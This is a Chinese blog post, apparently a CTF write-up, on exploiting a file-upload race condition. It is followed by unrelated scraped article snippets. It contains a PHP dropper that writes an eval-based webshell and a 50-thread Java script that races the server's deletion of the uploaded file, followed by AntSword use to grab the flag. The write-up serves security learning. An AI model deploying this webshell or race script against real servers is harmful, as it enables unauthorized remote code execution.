当前位置: 首页 > news >正文

【漏洞攻击之文件上传条件竞争】

漏洞攻击之文件上传条件竞争

  • wzsc_文件上传
  • 漏洞现象与分析
  • 思路
  • 编写攻击脚本和重放措施
  • 中国蚁剑拿flag

wzsc_文件上传

漏洞现象与分析

在这里插入图片描述只有一个upload前端标签元素,并且上传任意文件都会跳转到upload.php页面,判定是一个apache容器,开始扫描web目录,查看是否有机可乘
在这里插入图片描述扫描得知有关键的flag.php页面和upload文件根路径和upload.php页面,php文件查看了都没有渲染有用的信息…但是upload文根重定向到文件上传的页面
在这里插入图片描述并且上传的php木马等都会被过滤,判断源码中有校验白名单,联想到文件上传的条件竞争

php校验文件上传的时候先写入,判断不符合后,再回退
由于服务器并发处(同时)理多个请求,假如a用户上传了一个文件,b用户访问a用户的文件就会出现以下三种情况:
1.访问时间点在上传文件之前,没有此文件
2.访问时间在上传文件之后,且服务器还未将其删除,文件存在
3.访问时间点在服务器删除文件之后,文件不存在

思路

思路清晰,先说BP
在服务器释放上传的php文件之前先让该文件被执行,那么操作权就在我们手上了,这里我们让生成蚁剑的webshell木马,再通过提权webshell获取源码拿到flag

编写攻击脚本和重放措施

php上传的脚本为:

<?php 
fputs(fopen("shell.php", "w"), '<?php @eval($_POST["cmd"]); ?>'); 
?>

执行该脚本打时候调用fopen函数,写入webshell的木马。
该脚本为upload,在burpsuite手动重放即可,记得点快一点
小编使用java多线程破坏服务器的退回操作,上脚本:

@SpringBootApplication
@Slf4j
public class Application {@Beanpublic OkHttpClient okHttpClient() {return new OkHttpClient();}private static final String requestUrl = "http://61.147.171.105:51022/upload/test.php";public static String sendRequest(OkHttpClient okHttpClient, String url) throws IOException {Request request = new Request.Builder().url(url).build();try (Response response = okHttpClient.newCall(request).execute()) {if (!response.isSuccessful()) {throw new IOException("Unexpected code " + response);}return Objects.requireNonNull(response.body()).string();}}public static void main(String[] args) {ConfigurableApplicationContext applicationContext = SpringApplication.run(Application.class, args);OkHttpClient okHttpClient = applicationContext.getBean("okHttpClient", OkHttpClient.class);for (int i = 0; i < 50; i++) {new Thread(() -> {int num = 0;while (true) {log.warn("{}第{}次请求", Thread.currentThread().getName(), num++);try {String resp = sendRequest(okHttpClient, requestUrl);log.info("数据获取成功{}", resp);System.exit(0);} catch (IOException e) {}}}, "threadNo" + i).start();}}
}

最终java脚本结束:
在这里插入图片描述
我们访问upload文根查看结果
在这里插入图片描述
木马上传成功!

中国蚁剑拿flag

在这里插入图片描述在这里插入图片描述

在这里插入图片描述提交flag
在这里插入图片描述

相关文章:

【漏洞攻击之文件上传条件竞争】

漏洞攻击之文件上传条件竞争 wzsc_文件上传漏洞现象与分析思路编写攻击脚本和重放措施中国蚁剑拿flag wzsc_文件上传 漏洞现象与分析 只有一个upload前端标签元素&#xff0c;并且上传任意文件都会跳转到upload.php页面&#xff0c;判定是一个apache容器&#xff0c;开始扫描…...

Buttton样式设置background属性失效的问题

最近遇到一个之前没有遇见的问题&#xff0c;就是在添加Button控件的时候发现对其设置background时没有效果&#xff0c;原因是AndroidStudio升级后默认按钮就是主题色&#xff0c;一个比较简单的方法是将Button改为android.widget.Button&#xff0c;对比效果如下&#xff1a;…...

使用vue-pdf插件加载pdf

安装&#xff1a; // 安装这个版本&#xff0c;其它版本会有千奇百怪的错&#xff0c;这个版本和4.0.0都是可以的 cnpm install vue-pdf4.2.0// 安装pdfjs-dist cnpm install pdfjs-dist2.5.207 使用&#xff1a; // 我的css样式是pxToRem&#xff0c;友友们使用可能样式会有…...

BP蓝图映射到C++笔记1

教程链接&#xff1a;示例1&#xff1a;CompleteQuest - 将蓝图转换为C (epicgames.com) 1.常用的引用需要记住&#xff0c;如图所示。 2.蓝图中可以调用C函数&#xff0c;也可以实现C函数 BlueprintImplementableEvent:C只创建&#xff0c;不实现&#xff0c;在蓝图中实现 B…...

龙芯+RT-Thread+LVGL实战笔记(30)——电子琴演奏

【写在前面】正值期末,笔者工作繁忙,因此本系列教程的更新频率有所放缓,还望订阅本专栏的朋友理解,请勿催更。笔者在此也简要声明几点: 有些硬件模块笔者并没有,如LED点阵、压力传感模块、RFID模块等,因此这些模块的相关任务暂时无法给出经过验证的代码。其实,教程进行…...

Python Process创建进程(2种方法)详解

虽然使用 os.fork() 方法可以启动多个进程&#xff0c;但这种方式显然不适合 Windows&#xff0c;而 Python 是跨平台的语言&#xff0c;所以 Python 绝不能仅仅局限于 Windows 系统&#xff0c;因此 Python 也提供了其他方式在 Windows 下创建新进程。 Python 在 multiproces…...

树莓派4B 使用树莓派官方烧录器烧录ubuntu20.04.5 排坑

问题描述&#xff1a; 使用树莓派官方烧录器烧录ubuntu并且在烧录器中设置了电脑热点&#xff0c;但是无法连接WIFI。重启后也无效。 排坑&#xff1a; 1.首先打开/boot中的network-config&#xff0c;发现烧录器设置的密码是乱码&#xff0c;重新设置&#xff1b; 2.有博主说…...

鸿蒙开发(五)鸿蒙UI开发概览

从用户角度来讲&#xff0c;一个软件拥有好看的UI&#xff0c;那是锦上添花的事情。再精确的算法&#xff0c;再厉害的策略&#xff0c;最终都得通过UI展现给用户并且跟用户交互。那么&#xff0c;本篇一起学习下鸿蒙开发UI基础知识&#xff0c;认识下各种基本控件以及使用方式…...

应用层—HTTP详解(抓包工具、报文格式、构造http等……)

文章目录 HTTP1. 抓包工具的使用1.1 配置信息1.2 观察数据 2. 分析 https 抓包结果3. HTTP请求详解3.1 认识 URL3.1.1 URL 基本格式3.1.2 查询字符串 (query string)3.1.3 关于 URL Encode 3.2 认识 http 方法3.2.1 [经典问题] Get 和 Post 主要的区别是什么&#xff1f;&#…...

ISA Server 2006部署网站对比nginx

2024年了&#xff0c;我还是第1次使用ISA Server 。没办法在维护一个非常古老的项目。说到ISA Server可能有小伙们不清楚&#xff0c;但是说到nginx大家应该都知道吧。虽然他们俩定位并不相同&#xff0c;但是本文中提到的需求&#xff0c;他俩是都可以实现。 网上找的到的教程…...

CHAPTER 9: 《DESIGN A WEB CRAWLER》第9章 《设计一个web爬虫》

CHAPTER 9: 《DESIGN A WEB CRAWLER》第九章 设计一个web爬虫 在本章中&#xff0c;我们将重点介绍网络爬虫设计&#xff1a;一种有趣而经典的系统设计 面试问题。 网络爬虫被称为机器人或蜘蛛。它被搜索引擎广泛用于发现网络上的新内容或更新内容。内容可以是网页、图像、视频…...

java SSM网上小卖部管理系统myeclipse开发mysql数据库springMVC模式java编程计算机网页设计

一、源码特点 java SSM网上小卖部管理系统是一套完善的web设计系统&#xff08;系统采用SSM框架进行设计开发&#xff0c;springspringMVCmybatis&#xff09;&#xff0c;对理解JSP java编程开发语言有帮助&#xff0c;系统具有完整的源 代码和数据库&#xff0c;系统主要…...

Java中集合元素的删除

关于集合元素的remove 重点&#xff1a;当集合的结构发生改变时&#xff0c;迭代器必须重新获取&#xff0c;如果还是用以前老的迭代器&#xff0c;会出现异常 java.util.ConcurrentModificationException 重点&#xff1a;在迭代集合元素的过程中&#xff0c;不能调用集合对象…...

HNU-数据挖掘-实验2-数据降维与可视化

数据挖掘课程实验实验2 数据降维与可视化 计科210X 甘晴void 202108010XXX 文章目录 数据挖掘课程实验<br>实验2 数据降维与可视化实验背景实验目标实验数据集说明实验参考步骤实验过程1.对数据进行初步降维2.使用无监督数据降维方法&#xff0c;比如PCA&#xff0c;I…...

【shell编程入门】正则表达式

正则表达式 特殊字符描述[]方括号表达式&#xff0c;表示匹配的字符集合&#xff0c;例如 [0-9]、[abcde]()标记子表达式起止位置*匹配前面的子表达式零或多次匹配前面的子表达式一或多次?匹配前面的子表达式零或一次\转义字符&#xff0c;除了常用转义外&#xff0c;还有&am…...

高效火情监测,科技助力森林防火【数字地球开放平台】

数字地球开放平台-以卫星遥感为核心的空天信息服务开放平台 (geovisearth.com) 2019年3月30日&#xff0c;四川省凉山州木里县爆发了一场森林火灾&#xff0c;火点位于海拔3800米左右&#xff0c;地形险峻、坡度陡峭、谷深难以抵挡火势。在扑救的过程中&#xff0c;27名森林消防…...

第14章_集合与数据结构拓展练习(前序、中序、后序遍历,线性结构,单向链表构建,单向链表及其反转,字符串压缩)

文章目录 第14章_集合与数据结构拓展练习选择填空题1、前序、中序、后序遍历2、线性结构3、其它 编程题4、单向链表构建5、单向链表及其反转6、字符串压缩 第14章_集合与数据结构拓展练习 选择填空题 1、前序、中序、后序遍历 分析&#xff1a; 完全二叉树&#xff1a; 叶结点…...

WEB前端3D变换效果以及如何应用js代码

WEB前端DAY8 变换效果3d <!DOCTYPE html> <html><head><meta charset"utf-8"><title></title><style>body{/* 视距&#xff1a;设置距离xy轴构成的平面有多少像素距离 */perspective: 500px;}div{/* 设置变化效果为3d *…...

Linux中的新建用户、切换用户

目录 一、Linux系统中有哪些用户 二、新建普通用户 三、root账号与普通账号的切换 一、Linux系统中有哪些用户 1.root 超级管理员&#xff08;不受权限约束&#xff09; 2.其他用户 普通用户&#xff08;受到权限约束&#xff09; 二、新建普通用户 创建新用户 sudo user…...

Vue3使用

1、列表实现 <el-table :data"tableData" border style"width: 100%" selection-change"handleSelectionChange" :header-cell-style"{text-align:center}"><el-table-column type"selection" width"55"…...

FOC如何控制速度力矩大小,以及无感FOC检测电角度的方法

FOC 控制电机&#xff0c;本质就一句话&#xff1a; 通过控制三相电流&#xff0c;让定子磁场始终在“最合适的角度”拉着/推着转子转。 更工程一点说&#xff1a; 速度靠速度环调节&#xff0c;扭矩靠 q 轴电流 Iq 调节&#xff0c;电角度靠编码器/霍尔/无感估算得到。 1. …...

5G网络‘身份证’系统深度游:从CU/DU架构看NCI规划,以及它和4G ECGI到底有啥不同?

5G网络标识系统解构&#xff1a;从NCI位宽设计到CU/DU架构的范式变革 当我们在城市中穿梭时&#xff0c;手机屏幕上那个小小的"5G"图标背后&#xff0c;隐藏着一套精密的网络身份识别体系。这套系统不仅需要在上百万个基站间实现无歧义通信&#xff0c;还要为未来网络…...

数据表结构管理:RPFM的Schema更新架构设计与安全实践

数据表结构管理&#xff1a;RPFM的Schema更新架构设计与安全实践 【免费下载链接】rpfm Rusted PackFile Manager (RPFM) is a... reimplementation in Rust and Qt6 of PackFile Manager (PFM), one of the best modding tools for Total War Games. 项目地址: https://gitc…...

原创丨全球主流开源模型及其衍生生态解析

作者&#xff1a;李媛媛 本文约4800字&#xff0c;建议阅读15分钟本文介绍了全球主流开源基座模型及衍生模型的特点、应用与趋势。在人工智能技术产业化落地加速的当下&#xff0c;开源模型已成为推动行业创新的核心力量&#xff0c;其开放、可定制的特性打破了技术壁垒&#x…...

系统级开发中的夜间MVP构建与Boneyard归档实践

1. 项目概述&#xff1a;一个名为“Boneyard”的夜间MVP构建最近在开源社区里&#xff0c;我注意到一个挺有意思的项目&#xff0c;叫sys-fairy-eve/nightly-mvp-2026-04-05-boneyard。光看这个标题&#xff0c;信息量就很大&#xff0c;它像是一个系统构建流水线上的一个特定快…...

长期使用Taotoken的TokenPlan套餐带来的月度成本变化感受

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 长期使用Taotoken的TokenPlan套餐带来的月度成本变化感受 作为一名中度频率的大模型API使用者&#xff0c;我的日常工作涉及代码生…...

ThinkPad嵌入式控制器深度解析:TPFanCtrl2散热优化实践方案

ThinkPad嵌入式控制器深度解析&#xff1a;TPFanCtrl2散热优化实践方案 【免费下载链接】TPFanCtrl2 ThinkPad Fan Control 2 (Dual Fan) for Windows 10 and 11 项目地址: https://gitcode.com/gh_mirrors/tp/TPFanCtrl2 在移动工作站领域&#xff0c;ThinkPad以其卓越…...

在Python项目中集成多模型API实现智能对话功能

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 在Python项目中集成多模型API实现智能对话功能 对于需要在应用中集成AI对话能力的Python开发者而言&#xff0c;直接对接多个模型厂…...

Grasscutter命令生成器终极指南:如何5分钟上手原神私服管理

Grasscutter命令生成器终极指南&#xff1a;如何5分钟上手原神私服管理 【免费下载链接】GrasscutterCommandGenerator Command Generator and Gacha Banner Editor 项目地址: https://gitcode.com/gh_mirrors/gr/GrasscutterCommandGenerator Grasscutter命令生成器是一…...

高性能WebGL地图引擎OME:海量地理空间数据可视化实战指南

1. 项目概述与核心价值 如果你在开源社区里混迹过一段时间&#xff0c;尤其是对数据可视化、地理信息系统或者大规模图数据渲染感兴趣&#xff0c;那么“sgl-project/ome”这个项目标题很可能已经引起了你的注意。OME&#xff0c;全称可能是“Open Map Engine”或类似的概念&am…...